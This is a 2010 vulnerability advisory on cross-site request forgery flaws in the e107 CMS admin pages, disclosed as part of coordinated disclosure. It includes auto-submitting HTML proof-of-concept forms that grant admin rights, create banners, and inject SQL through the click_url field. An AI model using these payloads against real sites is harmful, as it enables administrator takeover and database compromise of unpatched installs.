Stay in Touch

Weekly newsletter on AI, Application Security & Cybercrime


Your data will stay confidential Private and Confidential

Cross-site request forgery (CSRF) in e107

Advisory ID:HTB22344
Product:e107 Website System
Vendor:e107
Vulnerable Versions:0.7.19-0.7.24 and probably prior
Tested Version:0.7.19-0.7.24
Advisory Publication:April 5, 2010 [without technical details]
Vendor Notification:April 5, 2010
Public Disclosure:April 19, 2010
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Score:5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered two CSRF vulnerabilities in e107 which could allow a remote attacker to execute arbitrary SQL commands in application`s database and gain complete control over the application.
1) Cross-site request forgery in e107

1.1 The vulnerability is caused by insufficient validation of HTTP requests in /e107_admin/users.php. A remote attacker can trick a logged-in administrator into visiting a specially crafted webpage and assign administrative role to arbitrary existing account.

Exploitation example:

<form method=POST action=http://host/e107_admin/users.php name=main>
<input type=hidden name=userid value=2>
<input type=hidden name=userip value=1.2.3.4>
<input type=hidden name=useraction value=admin>
</form>
<script>
document.main.submit();
</script>

1.2 The vulnerability exists due to insufficient validation of the request origin in /e107_admin/banner.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and create or update arbitrary banners.
Additionally the “click_url” parameter in /e107_admin/banner.php is not properly sanitized before being used in a SQL query. A remote attacker can use a CSRF vector to execute arbitrary SQL commands in application`s database.
Exploitation examples:

<form action=http://host/e107_admin/banner.php method=POST name=f>
<input type=hidden name=banner_campaign_sel value="campaign_one" >
<input type=hidden name=banner_campaign value="" >
<input type=hidden name=banner_client_sel value="e107" >
<input type=hidden name=client_name value="" >
<input type=hidden name=client_login value="e107login" >
<input type=hidden name=client_password value="e107password" >
<input type=hidden name=click_url value="http%3A%2F%2Fgoogle.com%2F" >
<input type=hidden name=impressions_purchased value="0" >
<input type=hidden name=banner_class value="0" >
<input type=hidden name=createbanner value="Create+New+Banner" >
</form>
<script>
document.f.submit();
</script>


<form action=http://host/e107_admin/banner.php method=POST name=f>
<input type=hidden name=createbanner value="Create+New+Banner" >
<input type=hidden name=click_url value="' ANY_SQL_HERE " >
</form>
<script>
document.f.submit();
</script>

How to Detect Cross-Site Request Forgery Vulnerabilities
Free Website Security Test
  • Non-intrusive GDPR Test
  • Non-intrusive PCI DSS Test
Try Free Test
ImmuniWeb® On-Demand
  • Complete GDPR Audit
  • Complete PCI DSS Audit
  • Remediation Guidelines
  • DevSecOps Integration
Learn More

Solution:
Upgrade to version 0.7.25.


References:
[1] High-Tech Bridge Advisory HTB22344 - https://www.immuniweb.com/advisory/HTB22344 - Cross-site request forgery (CSRF) in e107
[2] e107 - http://e107.org - e107 is an Advanced Content Publishing Solution for Website Pages, Documents, Menus and Links (Content Management System) powered by PHP and MySQL.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments
Add Comment


Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Quick Start
Products
Free Trial
Newsletter